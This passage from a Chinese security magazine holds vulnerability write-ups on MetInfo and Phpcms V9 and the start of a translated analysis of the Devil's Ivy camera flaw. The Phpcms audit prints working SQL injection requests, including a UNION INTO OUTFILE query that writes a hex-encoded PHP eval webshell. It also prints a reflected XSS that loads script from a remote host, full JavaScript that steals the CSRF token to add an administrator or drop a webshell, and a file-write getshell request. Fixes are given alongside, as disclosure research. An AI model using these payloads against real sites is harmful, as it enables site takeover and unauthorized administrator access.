        $falshval['imgtype']=$list_config['value'][3]; 

        $list_config['mobile_value']=explode('|',$list_config['mobile_value']); 

        $falshval['wap_type']=$list_config['mobile_value'][0]; 

        $falshval['wap_y']=$list_config['mobile_value'][1]; 

        $met_flasharray[$list_config['flashid']]=$falshval; 

    } 

} 

$_M[lang]=$lang; 

@extract($settings); 

可见，这里执行了这条SQL语句SELECT * FROM $met_config WHERE lang='$lang' or 

lang='metinfo'，然后将结果 extract 到上下文中。 
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而$met_config 这个表，格式就是 utf8_general_ci，大小写不敏感。 

所以，我只需要传入 index.php?lang=Cn，在执行上述 SQL 语句的时候，不影响 SQL

语句的执行结果；而在进行 if($lang==$met_index_type)...比较的时候，Cn != cn，成功进

入 else 语句。 

最后，构造下面数据包，注入获取结果： 

 

0x05. 漏洞利用条件 

主要条件就是，需要管理员开启伪静态： 

 

没有什么其他条件了，无需登录即可触发。 
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Phpcms V9 从反射型 XSS 到 CSRF 绕过到 Getshell 

作者：todaro 

原文来源：【阿里云先知】https://xianzhi.aliyun.com/forum/read/2029.html  

0x01 测试场景 

1. 版本信息截图如下： 

 

0x02 测试思路 

检测者通过投稿的方式或者其他可能的方式递送存在漏洞的链接，一旦后台用户点击，就

会自动添加一个新的管理员（该项需要管理员权限，后台其他重要操作等）或者在一定条件下

直接 Getshell。接下来分说几个漏洞点，最后进行漏洞复现。 

0x03 文件报错 

这种类型的洞在 phpcms 中还挺常见的，主要是没有处理好一些包含，单独挖这种洞实

际上意义也不大，但是如果要 getshell 的话却缺一不可，简单列举几种类型。 

1.1 漏洞文件： 

\phpcms\modules\content\sitemodel_field.php 的 edit 方法中 

 

因为根本没有初始化$field_type 的值就进行了包含（前面有个 if 判断，进到逻辑中才进

行赋值，否则不赋值） 

直接请求 ： 

/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash=xxxxx 

即可爆路径 

https://xianzhi.aliyun.com/forum/read/2029.html
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修复方案： 

修改\phpcms\modules\content\sitemodel_field.php 第 124 行为 ： 

if(is_file(MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php')) require 

(MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php'); 

 

修改前后对比： 

 

修改后已无法爆路径。 

1.2 漏洞文件 ： 

\phpcms\modules\formguide\formguide_field.php 

 

变量直接进行包含，可爆路径链接 ： 

/index.php?m=formguide&c=formguide_field&a=public_field_setting 

 

修复方案： 

修改\phpcms\modules\formguide\formguide_field.php 第 300 行为 ： 

if(is_file(MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php')) require 

(MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php'); 
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修改前后对比： 

 

1.3 漏洞文件 ： 

/caches/configs/system.php 

因为没有判断引入关系，导致该文件可以直接被访问，只有正确引用该文件的情况下，文

件中的变量才能被正确定义，于是直接访问就会导致变量出现问题，直接爆路径链接地址如图 

 

修复方案： 

在/caches/configs/system.php 头部添加 ： 

defined('IN_PHPCMS') or exit('No permission resources.'); 

 

修改前后对比图： 

 

修改后已无法爆路径 

0x04 后台“鸡肋”注入 
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Phpcms 默认全局会对传递的$_GET,$_POST 等参数值进行 addslashes 转义处理，再加

上变量大部分都会被单引号包裹，很多数值参数也是直接 int 处理，所以要找到注入还是比较

难的。这次的审计中，前台没有再找到注入（之前 parse_str 函数出过注入），后台倒是找到

了一些，不过由于 phpcms 的密码加密方式，单独的后台注入并没有什么作用，但是如果在

当前数据库用户有写权限，并且知道路径的情况下，那就可以直接 into outfile 从而 getshell

了。接下来介绍 3 种类型的注入. 

4.1 变量没有处理直接进入数据库查询 ： 

\phpcms\modules\poster\poster.php 

在 stat 函数中 

 

第 222 行获取变量$group 的值，没有加单引号，加了` 

 

第 226 行进入 get_one 函数，在该函数中 

 

第 80 行进入 db_mysqli.class.php 的 get_one 函数 
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全程都没有对$group 的值进行过滤处理，于是产生注入，请求地址如下 ： 

/index.php?m=poster&c=poster&a=stat&pc_hash=xxxxx&id=1&click=1&group=type`%20ORDER%20BY%20(select

%201=(updatexml(1,concat(0x5e24,(select%20user()),0x5e24),1)))%23 

数据库执行语句为 : 

SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_poster_201707` WHERE `pid`='1' AND `siteid`='1' AND `type`='1' 

GROUP BY `type` ORDER BY (select 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)))#` LIMIT 1 

 

这里因为 addslashes 函数的处理，是没办法引入单双引号，所以没办法 into outfile 

修复方案： 

修改\phpcms\modules\poster\poster.php 

第 222,223 行为 : 

if(in_array($_GET['group'],array('username','area','ip','referer','clicktime','type'))) 

{ 

    $group = " `".$_GET['group']."`"; 

    $fields = "*, COUNT(".$_GET['group'].") AS num"; 

    $order = " `num` DESC"; 

} 

else 
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{ 

    $group = " `type`"; 

    $fields = "*, COUNT(type) AS num"; 

    $order = " `num` DESC"; 

} 

 

修改前后对比图： 

 

修改后已无法注入 

4.2 数据库查询直接传入数组导致的注入 ： 

\phpcms\modules\content\sitemodel_field.php 

在 add 函数中 
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第 51 行直接传入$_POST['info']数组，也即意味着我们不仅可以控制数组的值，还可以

控制键值。 

调用\phpcms\libs\classes\model.class.php 的 insert 方法 
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调用\phpcms\libs\classes\db_mysqli.class.php 的 insert 方法 

 

第 193 行，对数组的键值调用 add_special_char 方法进行处理 
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该函数对值添加`字符作为字段，并且检验是否包含一些特定的关键字，不过用替换为空

处理着实不明智。 

所以这个函数基本上没有做任何防护处理 

第 201 行调用 execute 方法执行最后的数据库操作语句 

 

综上，我们可以控制$_POST['info']的键来进行注入 

测试过程： 

在后台： 

> 内容 > 内容相关设置 > 模型管理 > 

选择一个模型进行字段管理，然后点击添加字段，填写数据后抓包 ： 
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POST /index.php?m=content&c=sitemodel_field&a=add HTTP/1.1 

Host: 192.168.99.127 

Content-Length: 856 

Cache-Control: max-age=0 

Origin: http://192.168.99.127 

Upgrade-Insecure-Requests: 1 

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/59.0.3071.115 Safari/537.36 

Content-Type: application/x-www-form-urlencoded 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 

DNT: 1 

Referer: 

http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=add&modelid=12&menuid=59&pc_hash=hvT

own 

Accept-Language: en,zh-CN;q=0.8,zh;q=0.6 

Cookie:  

Connection: close 

 

info[formtype]=text&issystem=0&info[issystem]=0&info[field]=heiheihei9&info[name]=heiheiheihei&info[tips]=&s

etting[size]=50&setting[defaultvalue]=&setting[ispassword]=0&info[formattribute]=&info[css]=&info[minlength]=

0&info[maxlength]=&info[pattern]=&pattern_select=&info[errortips]=&info[isunique]=0&info[isbase]=1&info[isse

arch]=0&info[isadd]=1&info[isfulltext]=1&info[isomnipotent]=0&info[isposition]=0&info[modelid]=12&dosubmit=

%CC%E1%BD%BB&pc_hash=hvTown&info[`test`,`setting`,`siteid`,`unsetgroupids`,`unsetroleids`) VALUES 

('text','0','heiheihei3','heiheiheihei'or updatexml(1,concat(0x7e,(version())),0) 

or'','','','','0','','','','0','1','0','1','1','0','0','12','1234\'','{\"size\":\"50\",\"defaultvalue\":\"\",\"ispassword\":\"0\"}','1','

','')%23]=1234 

在 info 数组中添加一个数据，键为数据库注入语句 

 



  安全客-2017 年季刊-第 3 期 

—190— 
 

每查询一次就要修改一次 info[field]的值，否则数据库会爆字段重复错误。这里因为

addslashes 函数的处理，是没办法引入单双引号，所以没办法 into outfile 

修复建议： 

指定传入 insert 的键值或者限定$_POST['info']数组中的键为固定数组中的一个,修改

\phpcms\modules\content\sitemodel_field.php 第 51 行为 ： 

$this->db->insert(array('modelid'=>$modelid,'field'=>$field, 'minlength'=>$minlength, 'maxlength'=>$maxlength, 

'formtype'=>$field_type, 'setting'=>$_POST['info']['setting'], 'siteid'=>$_POST['info']['siteid'], 

'unsetgroupids'=>$_POST['info']['unsetgroupids'],'unsetroleids'=>$_POST['info'])) 

或者在第 50 行后添加 ： 

$fields = array('modelid', 'field', 'minlength', 'maxlength','formtype','setting','siteid','unsetgroupids','unsetroleids'); 

foreach ($_POST['info'] as $k=>$value)  

{ 

    if (!in_array($k, $fields)) 

{ 

        unset($_POST['info'][$k]); 

    } 

} 

 

这里选择后者，便于管理与操作 

修改后对比图： 

 

修改后已无法进行注入。 
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其他：在 edit 函数中 

 

也是同样直接传入$_POST['info']数组，也即意味着我们不仅可以控制数组的值，还可以

控制键值，最后造成 update 型注入，这里不再赘述。修复方法同上。 

像\phpcms\modules\content\sitemodel_field.php 文件一样因为直接传入数组查询

导致注入的还有以下文件，这里只列举，不再赘述： 

\phpcms\modules\content\type_manage.php 

add 方法 insert 注入 

\phpcms\modules\content\workflow.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\formguide\formguide.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\member\member.php 

add 方法 insert 注入 

\phpcms\modules\member\member_menu.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\member\member_modelfield.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\poster\poster.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\poster\space.php 

add 方法 insert 注入/edit 方法 update 型注入 
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\phpcms\modules\search\search_type.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\special\content.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\special\special.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\badword.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\category.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\copyfrom.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\ipbanned.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\keylink.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\menu.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\position.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\role.php 

add 方法 insert 注入/edit 方法 update 型注入 

\phpcms\modules\admin\urlrule.php 

add 方法 insert 注入/edit 方法 update 型注入 

这里其实还有个思路，先 insert 要 into outfile 的数据到数据库中，然后找到一个二次入

库的点，可以 getshell，不过随便找了一下，发现 phpcms 二次入库的点还挺少的，直接放

弃。 

4.3 因为变量覆盖导致的注入 
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\phpcms\modules\message\message.php 

在 search_message 函数中 

 

第 259 行初始化$where 参数 

第 260 行，将$_POST['search']中的键注册为变量 

 

第 280 行，$where 参数传入 listinfo 函数 

在 listinfo 函数中 

 

第 58 行，$where 传入 count 函数 

在 count 函数中 

 

第 142 行$where 传入 get_one 函数 

在 get_one 函数中 

 

第 140 行进入 execute 函数执行 

综上，因为 extract 函数的关系，这里$where 参数(通过$_POST['search']['where'])是可

控的，可构造一个不带单双引号的注入 

请求如下 ： 

POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1 
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Host: 192.168.99.127 

Content-Length: 208 

Cache-Control: max-age=0 

Origin: http://192.168.99.127 

Upgrade-Insecure-Requests: 1 

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/59.0.3071.115 Safari/537.36 

Content-Type: application/x-www-form-urlencoded 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 

DNT: 1 

Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=0rStVl 

Accept-Language: en,zh-CN;q=0.8,zh;q=0.6 

Cookie:  

Connection: close 

 

search[status]=&search[username]=todaro&search[start_time]=&search[end_time]=&dosubmit=%CB%D1%CB%F

7&pc_hash=0rStVl&search[where]=1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))%23 

最后执行的数据库语句为 ： 

SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_message` WHERE 1=(updatexml(1,concat(0x5e24,(select 

user()),0x5e24),1))# AND send_from_id='todaro' or send_to_id='todaro' 

 

不过因为 phpcms 的全局处理，所以如果在$where 参数中加入单双引号是会过滤的，所

以这里也不能 into outfile 
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不过回头又重新看了一下，发现事情还有转机 

在 listinfo 函数将$where 参数传入 count 函数后 

 

$where 会被 to_sqls 函数进行处理 

 

在该函数中会判断传入的参数，如果是数组，会分别将键值对取出来，键只添加``，而值

会加单引号 

所以如果如果能给 to_sqls 函数传入数组，那么在键中就可以加入单双引号！ 

来重新看一下 search_message 函数 
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如果不进入第 264 行和第 272 行中，$where 就能是一个数组 

综合第 261 行的判断，这里只要让$username 为空、$start_time 和$end_time 其中一

个为空，即可满足要求。 

综上,请求如下数据 ： 

POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1 

Host: 192.168.99.127 

Content-Length: 333 

Cache-Control: max-age=0 

Origin: http://192.168.99.127 

Upgrade-Insecure-Requests: 1 

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/59.0.3071.115 Safari/537.36 

Content-Type: application/x-www-form-urlencoded 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 
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DNT: 1 

Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=xxxxx 

Accept-Language: en,zh-CN;q=0.8,zh;q=0.6 

Cookie:  

Connection: close 

 

search[status]=&search[username]=&search[start_time]=1&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc

_hash=xxxxx&search[where][replyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f47455

45b27636d64275d293b3f3e/**/into/**/outfile/**/'C:/www/cms/phpcms_v9.6.3_GBK/phpcms/modules/messag

e/1.php'%23]=1 

(绝对路径由前面爆路径所得) 

如果当前数据库用户有写权限，即可生成/phpcms/modules/message/1.php 文件 
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我们再来看一下这个操作所需要的权限及位置： 

> 位置：模块 > 模块列表 > 短消息 >“搜索处” 

> 设置该权限：设置 > 管理员设置 > 角色管理 >权限设置>模块>模块列表>短消息 

短消息这个功能对于后台用户（总编、编辑、运营总监、发布人员、站点管理员、超级管

理员）来说，赋予其这个权限应该不算太高吧？ 

修复建议： 

修改\phpcms\modules\message\message.php 文件 

第 260 行为 ： 

extract($_POST['search'],EXTR_SKIP); 

 

修改后即可防止变量覆盖，无法 getshell。 

像\phpcms\modules\message\message.php 文件一样因为变量覆盖导致注入的还有

以下文件，这里只列举，不再赘述： 

\phpcms\modules\pay\payment.php 
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pay_list 函数/pay_stat 函数 

\phpcms\modules\admin\ipbanned.php 

search_ip 函数 

\phpcms\modules\attachment\manage.php 

init 函数 

上面的注入都存在于后台中，所以会验证 pc_hash 这个值，而这个值也是用来进行 csrf

防御的，主要在调用一些函数时会校验该值，所以管理员直接访问/index.php?m=admin 是

不需要校验该值，而且请求后 pc_hash 的值会返回给客户端。如果我能找到一个前台的 xss，

那么就能定向管理员然后获取 pc_hash 这个值，最后以 csrf 漏洞的利用方式一样，在后台为

所欲为以至于 getshell。但是 phpcms 前台用户的操作很有限，我反正没找到 xss。 

不过我在后台中找到了一个反射型 xss，但是如同上面说的在调用一些函数时会校验

pc_hash 的值，这就成悖论了：要想触发后台 xss，就得先有 pc_hash，但是 pc_hash 又得

通过 xss 获取。怎么办，回过头来审视一下 pc_hash 校验的过程，看看到底是调用哪些函数

会触发该校验。后台操作默认都会有这一个引入 

 

调用\phpcms\modules\admin\classes\admin.class.php 类 admin 的__construct 函

数 

 

第 18 行调用 check_priv 函数 

 

在该函数的第 171 行如果$_GET[‘a’]参数为 public_开头的则返回 true 

 

第 24 行调用 check_hash 函数来校验 pc_hash 的值以防止 csrf 漏洞 
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同样的在该函数中，如果$_GET[‘a’]参数为 public_开头的则返回 true，不再校验

pc_hash 

所以如果后台中有以 public_开头的函数存在漏洞，则能绕过 pc_hash 的校验，造成 csrf

漏洞。 

上面说到的后台反射型 xss 就是在 public_开头的函数中，所以后台用户访问时不需要校

验 pc_hash，不过还是会校验后台权限，所以这个 xss 只能用来攻击后台用户。 

0x05 化腐朽为神奇的后台反射型 xss 

在\phpcms\modules\admin\plugin.php 文件 public_appcenter_ajx_detail 函数中 

 

第 409 行获取远程内容 

第 411 行$_GET['jsoncallback']连同获取的内容被一起输出到页面中 

链接地址 ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script 

src=http://192.168.99.129/3.js></script> 

3.js 的内容为’alert(1);’，后台用户访问该链接即可加载远端 js，然后 js 被执行，弹出 1 



  安全客-2017 年季刊-第 3 期 

—201— 
 

 

修复建议： 

修改\phpcms\modules\admin\plugin.php 文件 

第 411 行为 ： 

echo htmlspecialchars($_GET['jsoncallback'].'('.$data.')'); 

 

第 409 行获取远程内容 

第 411 行$_GET['jsoncallback']连同获取的内容被一起输出到页面中 

链接地址 ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script 

src=http://192.168.99.129/3.js></script> 

3.js 的内容为’alert(1);’，后台用户访问该链接即可加载远端 js，然后 js 被执行，弹出 1 

 

修复建议： 
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修改\phpcms\modules\admin\plugin.php 文件 

第 411 行为 ： 

echo htmlspecialchars($_GET['jsoncallback'].'('.$data.')'); 

 

修改后对比图： 

 

修改后 js 已经不能被加载和执行 

（注：()内本来不会有内容的，因为请求域名不存在，本地网络被运营商劫持，强行加上

去的） 

利用： 

将以下 1,2,3 方法联合起来使用，就可以实现点击一个链接造成添加管理员或者直接

getshell 的效果 

(1)添加管理员 

有了 xss，有了 pc_hash，那就能通过 csrf 漏洞在后台为所欲为了，比如添加一个管理员。

在添加管理员中的请求中还有一个重要的参数，就是 admin_manage_code 

这个参数可以从以下连接获取 。 

/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash=xxxxx 

所以这里需要先获取到 pc_hash，然后再获取 admin_manage_code，最后就能构造添

加管理员的请求包，管理员已登录的情况下，火狐打开如下链接 ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script%20src=http://192.168.99.1

29/2.js></script> 

更新：绕过最新 chrome 浏览器的 xss auditor ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br><script%20src=http://192.168.

99.129/2.js></script> 

2. js 的内容为如下 ： 

var request = false; 
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if (window.XMLHttpRequest) { 

    request = new XMLHttpRequest(); 

    if (request.overrideMimeType) { 

        request.overrideMimeType('text/xml') 

    } 

} else if (window.ActiveXObject) { 

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 

'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 

'MSXML2.XMLHTTP']; 

    for (var i = 0; i < versions.length; i++) { 

        try { 

    request = new ActiveXObject(versions[i]) 

        } catch (e) {} 

    } 

} 

xmlhttp = request; 

xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false); 

xmlhttp.send(null); 

var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];//获取 pc_hash 

 

xmlhttp = request; 

xmlhttp.open("GET", 

"http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash="+pc_hash, false); 

xmlhttp.send(null); 

var admin_manage_code = xmlhttp.responseText.match(/value="(\S*)" id="admin_manage_code"/)[1];//获取

admin_manage_code 

 

var parm = 

"info%5Busername%5D=test1234&info%5Bpassword%5D=a123123&info%5Bpwdconfirm%5D=a123123&info%5B

email%5D=1%402ssq.com&info%5Brealname%5D=&info%5Broleid%5D=1&info%5Badmin_manage_code%5D=01

c9kekPNINAsqNA_eZY4M1SceLV8Oc70B3nQj6PlXEGMqV-XOBPs0tSqaWcjJ3qZV_2Y6lc9Ts&dosubmit=%CC%E1%B

D%BB&pc_hash="+ pc_hash +"&info%5Badmin_manage_code%5D="+admin_manage_code;//添加管理员 

 

xmlhttp = request; 

xmlhttp.open("POST", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add", true); 

xmlhttp.setRequestHeader("Cache-Control","no-cache"); 

xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")  
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xmlhttp.send(parm); 

请求后会添加一个用户名为 test1234 密码为 a123123 的管理员 

 

其他后台的操作可以以同样的方法实现，这里不再赘述 

0x06 从反射型 XSS 到 CSRF 绕过到有条件 getshell 

这里的有条件指的是后台模块的使用权限（上面已经论述），还有一个就是当前数据库用

户的写权限。漏洞的利用方式可以是投稿文章，文章中加入该反射型 xss 的链接（可以用短域

名）或者是以某种手段发送给具备后台权限的用户。具备模块权限已登录后台用户用火狐浏览

器打开如下地址 ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script%20src=http://192.168.99.1

29/1.js></script> 

更新：绕过最新 chrome 浏览器的 xss auditor ： 

/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br><script%20src=http://192.168.

99.129/1.js></script> 

1. js 的内容如下 ： 

var request = false; 

if (window.XMLHttpRequest) { 

    request = new XMLHttpRequest(); 

    if (request.overrideMimeType) { 

        request.overrideMimeType('text/xml') 

    } 

} else if (window.ActiveXObject) { 

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 

'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 

'MSXML2.XMLHTTP']; 

    for (var i = 0; i < versions.length; i++) { 

        try { 

    request = new ActiveXObject(versions[i]) 

        } catch (e) {} 

    } 

} 
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xmlhttp = request; 

xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false); 

xmlhttp.send(null); 

var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1]; 

//获取 pc_hash 

 

xmlhttp = request; 

xmlhttp.open("GET", 

"http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash="+pc_h

ash, false); 

xmlhttp.send(null); 

var locations = xmlhttp.responseText.match(/required '(\S*)content/)[1].replace(/\\/g,"/"); 

//获取绝对路径 

 

var parm = 

"search%5Bstatus%5D=&search%5Busername%5D=&search%5Bstart_time%5D=1&search%5Bend_time%5D=&do

submit=%CB%D1%CB%F7&pc_hash="+ pc_hash 

+"&search%5Bwhere%5D%5Breplyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f47455

45b27636d64275d293b3f3e/**/into/**/outfile/**/'"+locations+"message/2.php'%23%5D=1"; 

//攻击 payload 

 

xmlhttp = request; 

xmlhttp.open("POST", 

"http://192.168.99.127/index.php?m=message&c=message&a=search_message&menuid=1620", true); 

xmlhttp.setRequestHeader("Cache-Control","no-cache"); 

xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")  

xmlhttp.send(parm); 

请求后会自动生成/phpcms/modules/message/2.php 
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上面的这些利用都是基于这个反射 xss 的前提下（或者已经登录后台），且涉及到 getshell

还需要有数据库的写权限，貌似限制还是比较大。那有没有不依靠反射 xss 且不需要数据库写

权限的 getshell 方法呢？ 

有！！！！！！ 

如果上面的分析你有认真看，应该一个认识就是后台对 public_开头的函数不进行

pa_hash 的校验，恰巧我就又找到了一处这种函数，而且还能将任意内容写入文件，那就意

味着我可以通过 csrf 漏洞来进行后台 getshell 或者直接进入后台再 getshell。 

在\phpcms\modules\block\block_admin.php 函数 public_view 中 

 

第 239 行先判断数据库中是否有记录，没有记录的话即直接退出了。 

 

综合第 243、245 行的判断需要满足表 v9_block 需要有数据，且选择的数据中 type 的

值为 2。 

 

第 252 行获取要写入文件的内容 
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第 258、259 行对内容进行过滤,在函数 new_stripslashes 中 

 

 

会对值进行 stripslashes 函数处理，把之前单引号过滤等还原回来 

在函数 template_parse 中 

 

该函数对写入文件的内容进行填充，第 132 行将 ： 

<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?> 

写入文件头部，以防止文件被 web 直接访问 

 

第 260 行指定文件为\caches\cachestemplate\block\tmp$_GET['id'].php 
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第 265 行将内容写入到该文件中 

如果文件写入成功，在 267 行包含该文件并读取内容，第 270 行删除该文件 

综上，写入的文件内容可控，且因为 new_stripslashes 函数的处理导致我们可以引入单

引号，也因为最后文件被包含后就会被删除，所以最后漏洞的利用方法为当文件被包含的时候

就生成另外的文件。 

漏洞的触发点在后台的 

> 内容 > 内容发布管理 > 碎片管理 > 

默认安装下 v9_block 表是空的，关于如何添加碎片：    

http://v9.help.phpcms.cn/html/2010/tools_0906/6.html 

一旦用户已经添加过碎片，即 v9_block 表中有数据且 type 类型为 2 时就可以触发该漏

洞，否则就比较麻烦，还是要利用上面的反射型 xss 先添加一个记录，再进行漏洞的利用。 

 

id（$_GET['id']）是可猜解的,发起如下请求 ： 

POST /index.php?m=block&c=block_admin&a=public_view&id=2 HTTP/1.1 

Host: 192.168.99.127 

Content-Length: 178 

Pragma: no-cache 

Cache-Control: no-cache 

Origin: http://192.168.99.127 

Upgrade-Insecure-Requests: 1 

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/59.0.3071.115 Safari/537.36 

Content-Type: application/x-www-form-urlencoded 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 

DNT: 1 

Referer:  

Cookie: 
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Connection: close 

 

title[x]=a&url[x]=b&thumb[x]=c&desc[x]=d&template=heiheihei<?php 

@file_put_contents('C:\www\cms\phpcms_v9.6.3_GBK\caches\caches_template\block\1.php','<?php 

echo\'bbb\'?>');?>bbb 

即可生成\caches\caches_template\block\1.php 文件 

 

 

从 csrf 到漏洞的利用脚本我就不写了。 
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深入分析一个影响数百万 IoT 设备的漏洞 

译者：興趣使然的小胃&童话 

译文来源：【安全客】http://bobao.360.cn/learning/detail/4126.html   

原文来源：http://blog.senr.io/devilsivy.html  

一、前言 

在另一篇文章中，我们初步介绍了 Devil’ Ivy 这个漏洞的整体情况及影响范围，本文从

技术角度深入分析了这一漏洞的细节。 

从去年起，我们开始分析远程配置类服务的安全性，彼时我们并不知道我们会发现那么多

漏洞，也不知道这些漏洞会影响那么多用户。我们一直在研究远程配置类服务中漏洞的普遍性

及共同特性，因此当我们接触到 M3004 这个设备时，我们自然会去寻找这类服务。首先我们

枚举了 M3004 设备的开发端口，检查负责处理输入数据的那些代码。我们发现了一个名为

wsd 的服务，该服务会从 gSOAP 中导入一个第三方库。我们利用 IDA Pro 这个逆向分析工

具来检查负责将输入数据写到栈缓冲区中的那些代码，最终在这些代码中发现了一个漏洞。  

 

图 1. IDA Pro 中正在分析的某个函数 

作为一款安全摄像头，M3004 在 80 端口上提供了一个 ONVIF 服务，如果向该服务发送

一个 POST 命令就会触发存在漏洞的代码。该设备内部预置了 gdbserver 工具，我们通过

Web 界面启用 SSH 接口，然后利用 SSH 接口对设备服务进行远程调试，通过这种方式，我

们得以观察服务的内部工作流程以及我们代码的输出结果。我们在栈上设置了一个断点，当溢

http://bobao.360.cn/learning/detail/4126.html
http://blog.senr.io/devilsivy.html
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出数据覆盖掉栈上保存的某个返回指针时，我们观察到程序会发生崩溃，进而验证了漏洞的存

在。接下来我们需要做的就是实现目标设备上的代码执行。 

虽然将数据写入栈上时我们没有受到字节数的限制，但仅凭这一点我们还是无法实现代码

执行，并且设备存在过滤机制，要求我们发送的数据值必须大于 31。我们使用了一种名为 ROP

（Return Oriented Programming，返回导向编程）的技术，以便将地址信息写入栈中，强

迫程序执行 libc 中的代码片段，从而实现对栈上代码执行限制条件的规避。通过这种技术，

我们分配了可以执行的空间，将我们的 shellcode 复制到该空间中，然后将执行过程引向此地

址。虽然我们所使用的地址中包含的值必须大于 31，这在某种程度上的确给我们造成一些限

制，但我们仍然可以完成代码执行目标。 

一旦我们研究到这一步，我们就可以编写 shellcode（当然所有值都应该大于 31），利用

shellcode 打开端口，使远程用户可以连接到设备的 shell。此时我们利用 Devil’s Ivy

（CVE-2017-9765）已经拿到了代码执行权。由于 Axis 做了些安全设置，利用这个漏洞我们

只能在 M3004 上以非特权用户身份访问 shell。然而，我们可以执行 ONVIF 中包含的某些命

令，而通常情况下只有特权用户能够执行这些命令。我们可以将摄像头恢复到出厂设置状态，

可以控制摄像头，可以重启摄像头防止操作员监控视频，也可以更改网络设置。 

读者可以继续阅读下文的技术细节，也可以直接拉到文章末尾，观看演示视频。 

二、访问设备 

首先我们从 Axis 的官网上下载了 M3004 设备的最新版固件。官网的确要求注册账户才

能下载固件，但并没有去验证用户是否是合法的客户。我们构造了一个 Nate Johnson 身份，

使用了一个可达的邮箱地址，然后非常顺利地下载到了设备固件。我们使用 binwalk 以及专

用于 JFFS2 文件系统的 Jefferson 提取器提取了固件中的文件系统以及 Linux 内核。 

 
图 2. binwalk 的输出结果 

我们运行 nmap 来扫描摄像头开放的端口，发现 1900（upnp）、3702（ws-discover）

以及 5353（mdns）开放。对文件系统做了一些分析后，我们发现 ws-discover 与处理 SOAP
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协议的 wsd 有关。wsd 需要导入 libsoap.so 库（来自于 Genivia 提供的 gSOAP 产品）来解

析输入的 SOAP 消息，我们仔细检查了负责将输入数据写入栈中的那些代码，然后使用 IDA 

Pro 查找栈缓冲区，手动跟踪复制到缓冲区中的那些数据的来源。通过这种方法，我们只花了

